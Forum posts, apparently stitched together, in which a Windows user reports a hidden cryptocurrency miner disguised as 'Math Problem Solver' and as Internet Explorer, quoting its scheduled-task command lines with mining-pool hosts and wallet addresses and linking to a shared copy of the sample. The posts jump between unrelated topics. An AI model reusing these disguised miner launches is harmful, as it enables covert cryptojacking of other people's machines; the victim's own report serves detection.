Why do the official monero people seem to think you run a scam? https://www.reddit.com/r/Monero/comments/5upz4c/how_do_i_know_if_a_very_popular_monero_pool_is_a/ddvzy17/

I just uploaded to that site the DEFAULT application produced from Visual Studio and it gave Qihoo-360   HEUR/QVM03.0.0000.Malware.Gen.

That antivirus at least seems borked.

aha! I found the triggers from scheduler of Windows 8.1

"cpu solver"

C:\Users\thinker\AppData\Local\Math Problem Solver\cpu\Solve.exe -o http://p2pltc.coinsmine.org:9327 -u LKahnVhfkGnPiiiii9gHt3MoBT3wwrN7TK -p x

"gpu solver"

C:\Users\thinker\AppData\Local\Math Problem Solver\gpu\Solve.exe --scrypt -I 11 -o stratum+tcp://p2pltc.coinsmine.org:9327 -O LKahnVhfkGnPiiiii9gHt3MoBT3wwrN7TK:x --nowindow

"optimizer" whatever that is

"C:\Users\thinker\AppData\Local\Math Problem Solver\Optimize.exe" /path="Software\Math Problem Solver"

the location is %appdata%\local in Windows 8.1

I've posted another one before. Do what you want with it. I hope you can see who is the idiot infecting people.

I suspect it's not the virus itself but only the executable part of it, but anyway, you never know, you know better.

https://drive.google.com/file/d/0ByjZQE62kX_zSmo2S2x3SzNfZUk/edit?usp=sharing

That seems curiously targetted in a gradual way for the last 2 months. Is it a mega-farm that is being constructed from 1/13 to 3/13 or something? (It doesn't seem just economic news from just the past week).

I've been spammed and spammed on 4chan and elsewhere that bitcoin is booming at 95 dollars and it picked my interest to find out what's going on with the algorithmic difficulty because of that. Do people set up new GPU mini-farms for that?

I've personally though looked at it a bit and realized for my very limited resources, I'd rather be an observer for the time being (even for lite).

The files were just deleted and they don't appear to come back. Any other serious investigation will probably need someone to investigate the files.

 
I identified it with the help of user Red_Wolf_2 in IRC channel of Eligius.

It appears to be a "bitcoin-miner 0.20  Copyright (c) 2011 Ufasoft" in ./bin/iexplore.exe

and something that does not return anything in ./src/iexplore.exe

the 2nd one is probably a launcher. maybe running dormant.


I have a zip file with them if anyone is interested. Send me an email etc.

That user in that IRC channel already has it.


--

Ah, yahoo email identified an unpassworded zip with them as a virus but both avira and antimalwarebytes anti-malware does not detect them.

--

They required some ninja moves in cmd to make the folders and files visible for copying.

--

I removed those files, and dirs, and I suppose it won't come back. If it does come back, tough, I guess they might have a "parent creator" (rare).

--

If I'm gone and can't find me for those files, that user I mentioned may have it. Last I heard he identified the ./src file as being in .Net.

I get on process explorer, once in a while, even after I kill it, almost 100% CPU time by an iexplore.exe process. Process explorer identifies it (fully) as ""C:\Program Files (x86)\Internet Explorer\bin\iexplore.exe" -a 1 -o http://mining.eligius.st:80 -u 1JLE6hkA8QbD64G8ZknbH6HT9orWQ7dKB3 -p pass"

I will not pretend I know what bitcoin is exactly. I just learned a brief about it 10 minutes ago. I have never used or tried to use bitcoin before finding out this process.

Please help to identify what is going on or at least remove it from re-running itself. Apparently my antiviruses don't find it.